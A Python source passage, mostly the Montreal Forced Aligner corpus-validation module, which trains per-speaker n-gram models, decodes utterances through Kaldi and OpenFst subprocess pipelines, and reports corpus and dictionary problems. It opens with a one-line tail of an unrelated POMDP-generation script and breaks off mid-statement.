o = obs_space.elem(value=direction) print(f'O: *: {sfmt(s1)}: {ofmt(o)} 1.0') # REWARDS print() print('R: *: *: *: * -1.0') for s in state_space.elems: tile = get_tile(s) direction = translation[tile] a = action_space.elem(value=direction) print(f'R: {afmt(a)}: {sfmt(s)}: *: * 0.0') if __name__ == '__main__': main()
""" Validating corpora ================== """ from __future__ import annotations import multiprocessing as mp import os import subprocess import sys import time import typing from decimal import Decimal from queue import Empty from typing import TYPE_CHECKING, Dict, List, Optional import sqlalchemy import tqdm from sqlalchemy.orm import Session, joinedload, load_only, selectinload from montreal_forced_aligner.acoustic_modeling.trainer import TrainableAligner from montreal_forced_aligner.alignment import CorpusAligner, PretrainedAligner from montreal_forced_aligner.alignment.multiprocessing import compile_information_func from montreal_forced_aligner.data import MfaArguments from montreal_forced_aligner.db import ( Corpus, Dictionary, File, SoundFile, Speaker, TextFile, Utterance, ) from montreal_forced_aligner.exceptions import ConfigError, KaldiProcessingError from montreal_forced_aligner.helper import ( TerminalPrinter, comma_join, load_configuration, load_scp, ) from montreal_forced_aligner.transcription.transcriber import TranscriberMixin from montreal_forced_aligner.utils import ( KaldiFunction, KaldiProcessWorker, Stopped, log_kaldi_errors, run_mp, run_non_mp, thirdparty_binary, ) if TYPE_CHECKING: from argparse import Namespace from dataclasses import dataclass from montreal_forced_aligner.abc import MetaDict else: from dataclassy import dataclass __all__ = ["TrainingValidator", "PretrainedValidator"] @dataclass class TestUtterancesArguments(MfaArguments): """Arguments for :class:`~montreal_forced_aligner.validation.corpus_validator.TestUtterancesFunction`""" feature_strings: Dict[str, str] text_int_paths: Dict[str, str] model_path: str disambiguation_symbols_int_path: str score_options: MetaDict text_paths: Dict[str, str] tree_path: str utt2lm_paths: Dict[str, str] order: int method: str @dataclass class TrainSpeakerLmArguments(MfaArguments): """Arguments for :class:`~montreal_forced_aligner.validation.corpus_validator.TrainSpeakerLmFunction`""" word_symbols_paths: Dict[str, str] speaker_mapping: Dict[str, List[str]] speaker_paths: Dict[str, str] oov_word: str order: int method: str target_num_ngrams: int class TestUtterancesFunction(KaldiFunction): """ Multiprocessing function to test utterance transcriptions with utterance and speaker ngram models See Also -------- :kaldi_src:`compile-train-graphs-fsts` Relevant Kaldi binary :kaldi_src:`gmm-latgen-faster` Relevant Kaldi binary :kaldi_src:`lattice-oracle` Relevant Kaldi binary :openfst_src:`farcompilestrings` Relevant OpenFst binary :ngram_src:`ngramcount` Relevant OpenGrm-Ngram binary :ngram_src:`ngrammake` Relevant OpenGrm-Ngram binary :ngram_src:`ngramshrink` Relevant OpenGrm-Ngram binary Parameters ---------- args: :class:`~montreal_forced_aligner.validation.corpus_validator.TestUtterancesArguments` Arguments for the function """ def __init__(self, args: TestUtterancesArguments): super().__init__(args) self.feature_strings = args.feature_strings self.text_int_paths = args.text_int_paths self.disambiguation_symbols_int_path = args.disambiguation_symbols_int_path self.model_path = args.model_path self.score_options = args.score_options self.text_paths = args.text_paths self.tree_path = args.tree_path self.utt2lm_paths = args.utt2lm_paths self.order = args.order self.method = args.method self.reversed_word_mapping = {} self.word_symbols_paths = {} self.lexicon_disambig_fst_paths = {} def run(self) -> typing.Generator[typing.Tuple[int, str]]: """Run the function""" db_engine = sqlalchemy.create_engine(f"sqlite:///{self.db_path}?mode=ro&nolock=1") with Session(db_engine) as session: for dict_id in self.feature_strings.keys(): d = ( session.query(Dictionary) .options( selectinload(Dictionary.words), load_only( Dictionary.oov_word, Dictionary.root_temp_directory, ), ) .get(dict_id) ) self.oov_word = d.oov_word self.word_symbols_paths[dict_id] = d.words_symbol_path self.lexicon_disambig_fst_paths[dict_id] = d.lexicon_disambig_fst_path self.reversed_word_mapping[dict_id] = {} for w in d.words: self.reversed_word_mapping[dict_id][w.id] = w.word with open(self.log_path, "w") as log_file: for dict_id in self.feature_strings.keys(): feature_string = self.feature_strings[dict_id] text_int_path = self.text_int_paths[dict_id] disambig_int_path = self.disambiguation_symbols_int_path disambig_L_fst_path = self.lexicon_disambig_fst_paths[dict_id] utt2lm_path = self.utt2lm_paths[dict_id] text_path = self.text_paths[dict_id] word_symbols_path = self.word_symbols_paths[dict_id] compile_proc = subprocess.Popen( [ thirdparty_binary("compile-train-graphs-fsts"), f"--transition-scale={self.score_options["transition_scale"]}", f"--self-loop-scale={self.score_options["self_loop_scale"]}", f"--read-disambig-syms={disambig_int_path}", "--batch_size=1", self.tree_path, self.model_path, disambig_L_fst_path, "ark:-", "ark:-", ], stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=log_file, env=os.environ, ) latgen_proc = subprocess.Popen( [ thirdparty_binary("gmm-latgen-faster"), f"--acoustic-scale={self.score_options["acoustic_scale"]}", f"--beam={self.score_options["beam"]}", f"--max-active={self.score_options["max_active"]}", f"--lattice-beam={self.score_options["lattice_beam"]}", f"--word-symbol-table={word_symbols_path}", "--allow-partial", self.model_path, "ark:-", feature_string, "ark:-", ], stderr=log_file, stdin=compile_proc.stdout, stdout=subprocess.PIPE, env=os.environ, ) oracle_proc = subprocess.Popen( [ thirdparty_binary("lattice-oracle"), "ark:-", f"ark,t:{text_int_path}", "ark,t:-", ], stdin=latgen_proc.stdout, stdout=subprocess.PIPE, env=os.environ, stderr=log_file, ) texts = load_scp(text_path) fsts = load_scp(utt2lm_path) temp_dir = os.path.dirname(self.log_path) for utt, text in texts.items(): if not text: continue mod_path = os.path.join(temp_dir, f"{utt}.mod") far_proc = subprocess.Popen( [ thirdparty_binary("farcompilestrings"), "--fst_type=compact", f"--unknown_symbol={self.oov_word}", f"--symbols={word_symbols_path}", "--generate_keys=1", "--keep_symbols", ], stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=log_file, env=os.environ, ) count_proc = subprocess.Popen( [thirdparty_binary("ngramcount"), f"--order={self.order}"], stdin=far_proc.stdout, stdout=subprocess.PIPE, stderr=log_file, env=os.environ, ) with open(mod_path, "wb") as f: make_proc = subprocess.Popen( [thirdparty_binary("ngrammake"), f"--method={self.method}"], stdin=count_proc.stdout, stdout=f, stderr=log_file, env=os.environ, ) far_proc.stdin.write(" ".join(text).encode("utf8")) far_proc.stdin.flush() far_proc.stdin.close() make_proc.communicate() merge_proc = subprocess.Popen( [ thirdparty_binary("ngrammerge"), "--normalize", "--v=10", mod_path, fsts[utt], ], stdout=subprocess.PIPE, stderr=log_file, env=os.environ, ) print_proc = subprocess.Popen( [thirdparty_binary("fstprint"), "--numeric=true", "--v=10"], stderr=log_file, stdin=merge_proc.stdout, stdout=subprocess.PIPE, env=os.environ, ) # fst = far_proc.stdout.read() fst = print_proc.communicate()[0] compile_proc.stdin.write(f"{utt}\n".encode("utf8")) compile_proc.stdin.write(fst) compile_proc.stdin.write(b"\n") compile_proc.stdin.flush() output = oracle_proc.stdout.readline() output = output.strip().decode("utf8").split(" ") utterance = int(output[0].split("-")[-1]) transcript = " ".join( self.reversed_word_mapping[dict_id][int(x)] for x in output[1:] ) os.remove(mod_path) yield utterance, transcript compile_proc.stdin.close() oracle_proc.communicate() self.check_call(oracle_proc) class TrainSpeakerLmFunction(KaldiFunction): """ Multiprocessing function to training small language models for each speaker See Also -------- :openfst_src:`farcompilestrings` Relevant OpenFst binary :ngram_src:`ngramcount` Relevant OpenGrm-Ngram binary :ngram_src:`ngrammake` Relevant OpenGrm-Ngram binary :ngram_src:`ngramshrink` Relevant OpenGrm-Ngram binary Parameters ---------- args: :class:`~montreal_forced_aligner.validation.corpus_validator.TrainSpeakerLmArguments` Arguments for the function """ def __init__(self, args: TrainSpeakerLmArguments): super().__init__(args) self.word_symbols_paths = args.word_symbols_paths self.speaker_mapping = args.speaker_mapping self.speaker_paths = args.speaker_paths self.oov_word = args.oov_word self.order = args.order self.method = args.method self.target_num_ngrams = args.target_num_ngrams def run(self): """Run the function""" with open(self.log_path, "w", encoding="utf8") as log_file: for dict_id, speakers in self.speaker_mapping.items(): word_symbols_path = self.word_symbols_paths[dict_id] for speaker in speakers: training_path = self.speaker_paths[speaker] base_path = os.path.splitext(training_path)[0] mod_path = base_path + ".mod" far_proc = subprocess.Popen( [ thirdparty_binary("farcompilestrings"), "--fst_type=compact", f"--unknown_symbol={self.oov_word}", f"--symbols={word_symbols_path}", "--keep_symbols", training_path, ], stdout=subprocess.PIPE, stderr=log_file, env=os.environ, ) count_proc = subprocess.Popen( [thirdparty_binary("ngramcount"), f"--order={self.order}"], stdin=far_proc.stdout, stdout=subprocess.PIPE, stderr=log_file, ) make_proc = subprocess.Popen( [thirdparty_binary("ngrammake"), "--method=kneser_ney"], stdin=count_proc.stdout, stdout=subprocess.PIPE, stderr=log_file, env=os.environ, ) shrink_proc = subprocess.Popen( [ thirdparty_binary("ngramshrink"), "--method=relative_entropy", f"--target_number_of_ngrams={self.target_num_ngrams}", "--shrink_opt=2", "--theta=0.001", "-", mod_path, ], stdin=make_proc.stdout, stderr=log_file, env=os.environ, ) shrink_proc.communicate() self.check_call(shrink_proc) assert os.path.exists(mod_path) os.remove(training_path) yield os.path.exists(mod_path) class ValidationMixin(CorpusAligner, TranscriberMixin): """ Mixin class for performing validation on a corpus Parameters ---------- ignore_acoustics: bool Flag for whether feature generation and training/alignment should be skipped test_transcriptions: bool Flag for whether utterance transcriptions should be tested with a unigram language model target_num_ngrams: int Target number of ngrams from speaker models to use See Also -------- :class:`~montreal_forced_aligner.alignment.base.CorpusAligner` For corpus, dictionary, and alignment parameters Attributes ---------- printer: TerminalPrinter Printer for output messages """ def __init__( self, ignore_acoustics: bool = False, test_transcriptions: bool = False, target_num_ngrams: int = 100, min_word_count: int = 10, order: int = 3, method: str = "kneser_ney", **kwargs, ): kwargs["clean"] = True super().__init__(**kwargs) self.ignore_acoustics = ignore_acoustics self.test_transcriptions = test_transcriptions self.target_num_ngrams = target_num_ngrams self.min_word_count = min_word_count self.order = order self.method = method self.printer = TerminalPrinter(print_function=self.log_info) def output_utt_fsts(self) -> None: """ Write utterance FSTs """ with self.session() as session: for j in self.jobs: if not j.has_data: continue for dict_id in j.dictionary_ids: utterances = ( session.query(Utterance.kaldi_id, Utterance.speaker_id) .join(Utterance.speaker) .join(Speaker.dictionary) .filter(Speaker.job_id == j.name) .filter(Speaker.dictionary_id == dict_id) .order_by(Utterance.kaldi_id) ) utt2fst_scp_path = os.path.join( self.split_directory, f"utt2lm.{dict_id}.{j.name}.scp" ) with open(utt2fst_scp_path, "w", encoding="utf8") as f: for u_id, s_id in utterances: speaker_lm = os.path.join(self.working_directory, f"{s_id}.mod") f.write(f"{u_id} {speaker_lm}\n") def train_speaker_lm_arguments( self, ) -> List[TrainSpeakerLmArguments]: """ Generate Job arguments for :class:`~montreal_forced_aligner.validation.corpus_validator.TrainSpeakerLmFunction` Returns ------- list[:class:`~montreal_forced_aligner.validation.corpus_validator.TrainSpeakerLmArguments`] Arguments for processing """ arguments = [] with self.session() as session: for j in self.jobs: if not j.has_data: continue speaker_mapping = {} speaker_paths = {} words_symbol_paths = {} speakers = ( session.query(Speaker) .options(joinedload(Speaker.dictionary, innerjoin=True)) .filter(Speaker.job_id == j.name) ) for s in speakers: dict_id = s.dictionary_id if dict_id not in speaker_mapping: speaker_mapping[dict_id] = [] words_symbol_paths[dict_id] = s.dictionary.words_symbol_path speaker_mapping[dict_id].append(s.id) speaker_paths[s.id] = os.path.join(self.working_directory, f"{s.id}.txt") arguments.append( TrainSpeakerLmArguments( j.name, getattr(self, "db_path", ""), os.path.join(self.working_log_directory, f"train_lm.{j.name}.log"), words_symbol_paths, speaker_mapping, speaker_paths, self.oov_word, self.order, self.method, self.target_num_ngrams, ) ) return arguments def test_utterances_arguments(self) -> List[TestUtterancesArguments]: """ Generate Job arguments for :class:`~montreal_forced_aligner.validation.corpus_validator.TestUtterancesFunction` Returns ------- list[:class:`~montreal_forced_aligner.validation.corpus_validator.TestUtterancesArguments`] Arguments for processing """ feat_strings = self.construct_feature_proc_strings() return [ TestUtterancesArguments( j.name, getattr(self, "db_path", ""), os.path.join(self.working_log_directory, f"test_utterances.{j.name}.log"), feat_strings[j.name], j.construct_path_dictionary(self.data_directory, "text", "int.scp"), self.model_path, self.disambiguation_symbols_int_path, self.score_options, j.construct_path_dictionary(self.data_directory, "text", "scp"), self.tree_path, j.construct_path_dictionary(self.data_directory, "utt2lm", "scp"), self.order, self.method, ) for j in self.jobs if j.has_data ] @property def working_log_directory(self) -> str: """Working log directory""" return os.path.join(self.working_directory, "log") def setup(self): """ Set up the corpus and validator Raises ------ :class:`~montreal_forced_aligner.exceptions.KaldiProcessingError` If there were any errors in running Kaldi binaries """ try: self.initialize_database() self.load_corpus() self.write_lexicon_information() if self.test_transcriptions: self.write_lexicon_information(write_disambiguation=True) if self.ignore_acoustics: self.log_info("Skipping acoustic feature generation") else: self.generate_features() self.calculate_oovs_found() if not self.ignore_acoustics and self.test_transcriptions: self.initialize_utt_fsts() else: self.log_info("Skipping transcription testing") except Exception as e: if isinstance(e, KaldiProcessingError): import logging logger = logging.getLogger(self.identifier) log_kaldi_errors(e.error_logs, logger) e.update_log_file(logger) raise def analyze_setup(self) -> None: """ Analyzes the setup process and outputs info to the console """ begin = time.time() with self.session() as session: sound_file_count = session.query(SoundFile).count() text_file_count = session.query(TextFile).count() total_duration = session.query(sqlalchemy.func.sum(Utterance.duration)).scalar() total_duration = Decimal(str(total_duration)).quantize(Decimal("0.001")) self.log_debug(f"Duration calculation took {time.time() - begin}") begin = time.time() ignored_count = len(self.no_transcription_files) ignored_count += len(self.textgrid_read_errors) ignored_count += len(self.decode_error_files) self.log_debug(f"Ignored count calculation took {time.time() - begin}") self.printer.print_header("Corpus") self.printer.print_green_stat(sound_file_count, "sound files") self.printer.print_green_stat(text_file_count, "text files") if len(self.no_transcription_files): self.printer.print_yellow_stat( len(self.no_transcription_files), "sound files without corresponding transcriptions", ) if len(self.decode_error_files): self.printer.print_red_stat(len(self.decode_error_files), "read errors for lab files") if len(self.textgrid_read_errors): self.printer.print_red_stat( len(self.textgrid_read_errors), "read errors for TextGrid files" ) self.printer.print_green_stat(self.num_speakers, "speakers") self.printer.print_green_stat(self.num_utterances, "utterances") self.printer.print_green_stat(total_duration, "seconds total duration") print() self.analyze_wav_errors() self.analyze_missing_features() self.analyze_files_with_no_transcription() self.analyze_transcriptions_with_no_wavs() if len(self.decode_error_files): self.analyze_unreadable_text_files() if len(self.textgrid_read_errors): self.analyze_textgrid_read_errors() self.printer.print_header("Dictionary") self.analyze_oovs() def analyze_oovs(self) -> None: """ Analyzes OOVs in the corpus and constructs message """ self.printer.print_sub_header("Out of vocabulary words") output_dir = self.output_directory oov_path = os.path.join(output_dir, "oovs_found.txt") utterance_oov_path = os.path.join(output_dir, "utterance_oovs.txt") total_instances = 0 with open(utterance_oov_path, "w", encoding="utf8") as f, self.session() as session: utterances = ( session.query( File.name, File.relative_path, Speaker.name, Utterance.begin, Utterance.end, Utterance.oovs, ) .join(Utterance.file) .join(Utterance.speaker) .filter(Utterance.oovs != None) # noqa .filter(Utterance.oovs != "") ) for file_name, relative_path, speaker_name, begin, end, oovs in utterances: total_instances += len(oovs) f.write( f"{relative_path +"/" + file_name}, {speaker_name}: {begin}-{end}: {", ".join(oovs)}\n" ) self.oovs_found.update(oovs) if self.oovs_found: self.calculate_oovs_found() self.printer.print_yellow_stat(len(self.oovs_found), "OOV word types") self.printer.print_yellow_stat(total_instances, "total OOV tokens") lines = [ "", "For a full list of the word types, please see:", "", self.printer.indent_string + self.printer.colorize(oov_path, "bright"), "", "For a by-utterance breakdown of missing words, see:", "", self.printer.indent_string + self.printer.colorize(utterance_oov_path, "bright"), "", ] self.printer.print_info_lines(lines) else: self.printer.print_info_lines( f"There were {self.printer.colorize("no", "yellow")} missing words from the dictionary. If you plan on using the a model trained " "on this dataset to align other datasets in the future, it is recommended that there be at " "least some missing words." ) self.printer.print_end_section() def analyze_wav_errors(self) -> None: """ Analyzes any sound file issues in the corpus and constructs message """ self.printer.print_sub_header("Sound file read errors") output_dir = self.output_directory wav_read_errors = self.sound_file_errors if wav_read_errors: path = os.path.join(output_dir, "sound_file_errors.csv") with open(path, "w") as f: for p in wav_read_errors: f.write(f"{p}\n") self.printer.print_info_lines( f"There were {self.printer.colorize(len(wav_read_errors), "red")} issues reading sound files. " f"Please see {self.printer.colorize(path, "bright")} for a list." ) else: self.printer.print_info_lines( f"There were {self.printer.colorize("no", "green")} issues reading sound files." ) self.printer.print_end_section() def analyze_missing_features(self) -> None: """ Analyzes issues in feature generation in the corpus and constructs message """ self.printer.print_sub_header("Feature generation") if self.ignore_acoustics: self.printer.print_info_lines("Acoustic feature generation was skipped.") self.printer.print_end_section() return output_dir = self.output_directory with self.session() as session: utterances = ( session.query(File.name, File.relative_path, Utterance.begin, Utterance.end) .join(Utterance.file) .filter(Utterance.ignored == True) # noqa ) if utterances.count(): path = os.path.join(output_dir, "missing_features.csv") with open(path, "w") as f: for file_name, relative_path, begin, end in utterances: f.write(f"{relative_path + "/" + file_name},{begin},{end}\n") self.printer.print_info_lines( f"There were {self.printer.colorize(utterances.count(), "red")} utterances missing features. " f"Please see {self.printer.colorize(path, "bright")} for a list." ) else: self.printer.print_info_lines( f"There were {self.printer.colorize("no", "green")} utterances missing features." ) self.printer.print_end_section() def analyze_files_with_no_transcription(self) -> None: """ Analyzes issues with sound files that have no transcription files in the corpus and constructs message """ self.printer.print_sub_header("Files without transcriptions") output_dir = self.output_directory if self.no_transcription_files: path = os.path.join(output_dir, "missing_transcriptions.csv") with open(path, "w") as f: for file_path in self.no_transcription_files: f.write(f"{file_path}\n") self.printer.print_info_lines( f"There were {self.printer.colorize(len(self.no_transcription_files), "red")} sound files missing transcriptions. " f"Please see {self.printer.colorize(path, "bright")} for a list." ) else: self.printer.print_info_lines( f"There were {self.printer.colorize("no", "green")} sound files missing transcriptions." ) self.printer.print_end_section() def analyze_transcriptions_with_no_wavs(self) -> None: """ Analyzes issues with transcription that have no sound files in the corpus and constructs message """ self.printer.print_sub_header("Transcriptions without sound files") output_dir = self.output_directory if self.transcriptions_without_wavs: path = os.path.join(output_dir, "transcriptions_missing_sound_files.csv") with open(path, "w") as f: for file_path in self.transcriptions_without_wavs: f.write(f"{file_path}\n") self.printer.print_info_lines( f"There were {self.printer.colorize(len(self.transcriptions_without_wavs), "red")} transcription files missing sound files. " f"Please see {self.printer.colorize(path, "bright")} for a list." ) else: self.printer.print_info_lines( f"There were {self.printer.colorize("no", "green")} transcription files missing sound files." ) self.printer.print_end_section() def analyze_textgrid_read_errors(self) -> None: """ Analyzes issues with reading TextGrid files in the corpus and constructs message """ self.printer.print_sub_header("TextGrid read errors") output_dir = self.output_directory if self.textgrid_read_errors: path = os.path.join(output_dir, "textgrid_read_errors.txt") with open(path, "w") as f: for e in self.textgrid_read_errors: f.write( f"The TextGrid file {e.file_name} gave the following error on load:\n\n{e}\n\n\n" ) self.printer.print_info_lines( [ f"There were {self.printer.colorize(len(self.textgrid_read_errors), "red")} TextGrid files that could not be loaded. " "For details, please see:", "", self.printer.indent_string + self.printer.colorize(path, "bright"), ] ) else: self.printer.print_info_lines( f"There were {self.printer.colorize("no", "green")} issues reading TextGrids." ) self.printer.print_end_section() def analyze_unreadable_text_files(self) -> None: """ Analyzes issues with reading text files in the corpus and constructs message """ self.printer.print_sub_header("Text file read errors") output_dir = self.output_directory if self.decode_error_files: path = os.path.join(output_dir, "utf8_read_errors.csv") with open(path, "w") as f: for file_path in self.decode_error_files: f.write(f"{file_path}\n") self.printer.print_info_lines( f"There were {self.printer.colorize(len(self.decode_error_files), "red")} text files that could not be read. " f"Please see {self.printer.colorize(path, "bright")} for a list." ) else: self.printer.print_info_lines( f"There were {self.printer.colorize("no", "green")} issues reading text files." ) self.printer.print_end_section() def compile_information(self) -> None: """ Compiles information about alignment, namely what the overall log-likelihood was and how many files were unaligned. See Also -------- :func:`~montreal_forced_aligner.alignment.multiprocessing.compile_information_func` Multiprocessing helper function for each job :meth:`.AlignMixin.compile_information_arguments` Job method for generating arguments for the helper function """ self.log_debug("Analyzing alignment information") compile_info_begin = time.time() self.collect_alignments() jobs = self.compile_information_arguments() if self.use_mp: alignment_info = run_mp( compile_information_func, jobs, self.working_log_directory, True ) else: alignment_info = run_non_mp( compile_information_func, jobs, self.working_log_directory, True ) avg_like_sum = 0 avg_like_frames = 0 average_logdet_sum = 0 average_logdet_frames = 0 beam_too_narrow_count = 0 too_short_count = 0 unaligned_utts = [] for data in alignment_info.values(): unaligned_utts.extend(data["unaligned"]) beam_too_narrow_count += len(data["unaligned"]) too_short_count += len(data["too_short"]) avg_like_frames += data["total_frames"] avg_like_sum += data["log_like"] * data["total_frames"] if "logdet_frames" in data: average_logdet_frames += data["logdet_frames"] average_logdet_sum += data["logdet"] * data["logdet_frames"] self.printer.print_header("Alignment") if not avg_like_frames: self.log_debug( "No utterances were aligned, this likely indicates serious problems with the aligner." ) self.printer.print_red_stat(0, f"of {self.num_utterances} utterances were aligned") else: if too_short_count: self.printer.print_red_stat( too_short_count, "utterances were too short to be aligned" ) else: self.printer.print_green_stat(0, "utterances were too short to be aligned") if beam_too_narrow_count: self.log_debug( f"There were {beam_too_narrow_count} utterances that could not be aligned with " f"the current beam settings." ) self.printer.print_yellow_stat( beam_too_narrow_count, "utterances that need a larger beam to align" ) else: self.printer.print_green_stat(0, "utterances that need a larger beam to align") num_utterances = self.num_utterances with self.session() as session: unaligned_utts = ( session.query(Utterance) .options(joinedload(Utterance.file).load_only(File.name)) .filter_by(alignment_log_likelihood=None) ) unaligned_count = unaligned_utts.count() if unaligned_count: path = os.path.join(self.output_directory, "unalignable_files.csv") with open(path, "w") as f: f.write("file,begin,end,duration,text length\n") for u in unaligned_utts: utt_length_words = u.text.count(" ") + 1 f.write( f"{u.file.name},{u.begin},{u.end},{u.duration},{utt_length_words}\n" ) self.printer.print_info_lines( [ f"There were {self.printer.colorize(unaligned_count, "red")} unaligned utterances out of {self.printer.colorize(self.num_utterances, "bright")} after initial training. " f"For details, please see:", "", self.printer.indent_string + self.printer.colorize(path, "bright"), ] ) self.printer.print_green_stat( num_utterances - beam_too_narrow_count - too_short_count, "utterances were successfully aligned", ) average_log_like = avg_like_sum / avg_like_frames if average_logdet_sum: average_log_like += average_logdet_sum / average_logdet_frames self.log_debug(f"Average per frame likelihood for alignment: {average_log_like}") self.log_debug(f"Compiling information took {time.time() - compile_info_begin}") def initialize_utt_fsts(self) -> None: """ Construct utterance FSTs """ if sys.platform != "win32": self.log_info("Initializing for testing transcriptions...") self.output_utt_fsts() @property def score_options(self) -> MetaDict: """Parameters for scoring transcript lattices""" return { "self_loop_scale": 0.1, "transition_scale": 1.0, "acoustic_scale": 0.1, "beam": 15.0, "lattice_beam": 8.0, "max_active": 750, } def train_speaker_lms(self) -> None: """Train language models for each speaker based on their utterances""" begin = time.time() self.calculate_word_counts() log_directory = self.working_log_directory os.makedirs(log_directory, exist_ok=True) self.log_info("Compiling per speaker biased language models...") with self.session() as session: speakers = session.query(Speaker).options( selectinload(Speaker.utterances).load_only(Utterance.normalized_text) ) for s in speakers: with open( os.path.join(self.working_directory, f"{s.id}.txt"), "w", encoding="utf8" ) as f: for u in s.utterances: text = [ x if self.word_counts[x] >= self.min_word_count else self.oov_word for x in u.normalized_text.split() ] f.write(" ".join(text) + "\n") arguments = self.train_speaker_lm_arguments() with tqdm.tqdm(total=self.num_speakers, disable=getattr(self, "quiet", False)) as pbar: if self.use_mp: error_dict = {} return_queue = mp.Queue() stopped = Stopped() procs = [] for i, args in enumerate(arguments): function = TrainSpeakerLmFunction(args) p = KaldiProcessWorker(i, return_queue, function, stopped) procs.append(p) p.start() while True: try: result = return_queue.get(timeout=1) if stopped.stop_check(): continue except Empty: for proc in procs: if not proc.finished.stop_check(): break else: break continue if isinstance(result, KaldiProcessingError): error_dict[result.job_name] = result continue pbar.update(1) if error_dict: for v in error_dict.values(): raise v else: self.log_debug("Not using multiprocessing...") for args in arguments: function = TrainSpeakerLmFunction(args) for _ in function.run(): pbar.update(1) self.log_debug(f"Compiling speaker language models took {time.time() - begin}") def test_utterance_transcriptions(self) -> None: """ Tests utterance transcriptions with simple unigram models based on the utterance text and frequent words in the corpus Raises ------ :class:`~montreal_forced_aligner.exceptions.KaldiProcessingError` If there were any errors in running Kaldi binaries """ if sys.platform == "win32": self.log_info("Cannot test transcriptions on Windows, please use Linux or Mac.") return self.log_info("Checking utterance transcriptions...") try: self.train_speaker_lms() self.log_info("Decoding utterances (this will take some time)...") begin = time.time() log_directory = self.working_log_directory os.makedirs(log_directory, exist_ok=True) arguments = self.test_utterances_arguments() utterance_mapping = [] with tqdm.tqdm( total=self.num_utterances, disable=getattr(self, "quiet", False) ) as pbar: if self.use_mp: error_dict = {} return_queue = mp.Queue() stopped = Stopped() procs = [] for i, args in enumerate(arguments): function = TestUtterancesFunction(args) p = KaldiProcessWorker(i, return_queue, function, stopped) procs.append(p) p.start() while True: try: result = return_queue.get(timeout=1) if stopped.stop_check(): continue except Empty: for proc in procs: if not proc.finished.stop_check(): break else: break continue if isinstance(result, KaldiProcessingError): error_dict[result.job_name] = result continue utterance, transcript = result pbar.update(1) if not utterance or not transcript: continue utterance_mapping.append( {"id": utterance, "transcription_text": transcript} ) for p in procs: p.join() if error_dict: for v in error_dict.values(): raise v else: self.log_debug("Not using multiprocessing...") for args in arguments: function = TestUtterancesFunction(args) for utterance, transcript in function.run(): if not utterance or not transcript: continue utterance_mapping.append( {"id": utterance, "transcription_text": transcript} ) pbar.update(1) with self.session() as session: session.bulk_update_mappings(Utterance, utterance_mapping) self.log_debug(f"Decoding utterances took {time.time() - begin}") self.log_info("Finished decoding utterances!") self.printer.print_header("Test transcriptions") ser, wer, cer = self.compute_wer() if ser < 0.3: self.printer.print_green_stat(f"{ser*100:.2f}%", "sentence error rate") elif ser < 0.8: self.printer.print_yellow_stat(f"{ser*100:.2f}%", "sentence error rate") else: self.printer.print_red_stat(f"{ser*100:.2f}%", "sentence error rate") if wer < 0.25: self.printer.print_green_stat(f"{wer*100:.2f}%", "word error rate") elif wer < 0.75: self.printer.print_yellow_stat(f"{wer*100:.2f}%", "word error rate") else: self.printer.print_red_stat(f"{wer*100:.2f}%", "word error rate") if cer < 0.25: self.printer.print_green_stat(f"{cer*100:.2f}%", "character error rate") elif cer < 0.75: self.printer.print_yellow_stat(f"{cer*100:.2f}%", "character error rate") else: self.printer.print_red_stat(f"{cer*100:.2f}%", "character error rate") self.save_transcription_evaluation(self.output_directory) out_path = os.path.join(self.output_directory, "transcription_evaluation.csv") print(f"See {self.printer.colorize(out_path, "bright")} for more details.") except Exception as e: if isinstance(e, KaldiProcessingError): import logging logger = logging.getLogger(self.identifier) log_kaldi_errors(e.error_logs, logger) e.update_log_file(logger) raise class TrainingValidator(TrainableAligner, ValidationMixin): """ Validator class for checking whether a corpus and a dictionary will work together for training See Also -------- :class:`~montreal_forced_aligner.acoustic_modeling.trainer.TrainableAligner` For training configuration :class:`~montreal_forced_aligner.validation.corpus_validator.ValidationMixin` For validation parameters Attributes ---------- training_configs: dict[str, :class:`~montreal_forced_aligner.acoustic_modeling.monophone.MonophoneTrainer`] """ def __init__(self, **kwargs): super().__init__(**kwargs) self.training_configs = {} self.add_config("monophone", {}) @property def workflow_identifier(self) -> str: """Identifier for validation""" return "validate_training" @classmethod def parse_parameters( cls, config_path: Optional[str] = None, args: Optional[Namespace] = None, unknown_args: Optional[List[str]] = None, ) -> MetaDict: """ Parse parameters for validation from a config path or command-line arguments Parameters ---------- config_path: str Config path args: :class:`~argparse.Namespace` Command-line arguments from argparse unknown_args: list[str], optional Extra command-line arguments Returns ------- dict[str, Any] Configuration parameters """ global_params = {} training_params = [] use_default = True if config_path: data = load_configuration(config_path) for k, v in data.items(): if k == "training": for t in v: for k2, v2 in t.items(): if "features" in v2: global_params.update(v2["features"]) del v2["features"] training_params.append((k2, v2)) elif k == "features": if "type" in v: v["feature_type"] = v["type"] del v["type"] global_params.update(v) else: if v is None and k in cls.nullable_fields: v = [] global_params[k] = v if training_params: use_default = False if use_default: # default training configuration training_params.append(("monophone", {})) if training_params: if training_params[0][0] != "monophone": raise ConfigError("The first round of training must be monophone.") global_params["training_configuration"] = training_params global_params.update(cls.parse_args(args, unknown_args)) return global_params def setup(self): """ Set up the corpus and validator Raises ------ :class:`~montreal_forced_aligner.exceptions.KaldiProcessingError` If there were any errors in running Kaldi binaries """ if self.initialized: return try: all_begin = time.time() self.initialize_database() self.dictionary_setup() self.log_debug(f"Loaded dictionary in {time.time() - all_begin}") begin = time.time() self._load_corpus() self.log_debug(f"Loaded corpus in {time.time() - begin}") self.calculate_oovs_found() begin = time.time() self.write_lexicon_information() self.write_training_information() self.log_debug(f"Wrote lexicon information in {time.time() - begin}") if self.ignore_acoustics: self.log_info("Skipping acoustic feature generation") else: begin = time.time() self.initialize_jobs() self.log_debug(f"Initialized jobs in {time.time() - begin}") begin = time.time() self.create_corpus_split() self.log_debug(f"Created corpus split directory in {time.time() - begin}") if self.test_transcriptions: begin = time.time() self.write_lexicon_information(write_disambiguation=True) self.log_debug(f"Wrote lexicon information in {time.time() - begin}") begin = time.time() self.generate_features() self.log_debug(f"Generated features in {time.time() - begin}") if self.test_transcriptions: begin = time.time() self.initialize_utt_fsts() self.log_debug(f"Initialized utterance FSTs in {time.time() - begin}") begin = time.time() self.calculate_oovs_found() self.log_debug(f"Calculated OOVs in {time.time() - begin}") self.initialized = True except Exception as e: if isinstance(e, KaldiProcessingError): import logging logger = logging.getLogger(self.identifier) log_kaldi_errors(e.error_logs, logger) e.update_log_file(logger) raise def validate(self): """ Performs validation of the corpus """ begin = time.time() self.log_debug(f"Setup took {time.time() - begin}") self.setup() self.analyze_setup() self.log_debug(f"Setup took {time.time() - begin}") if 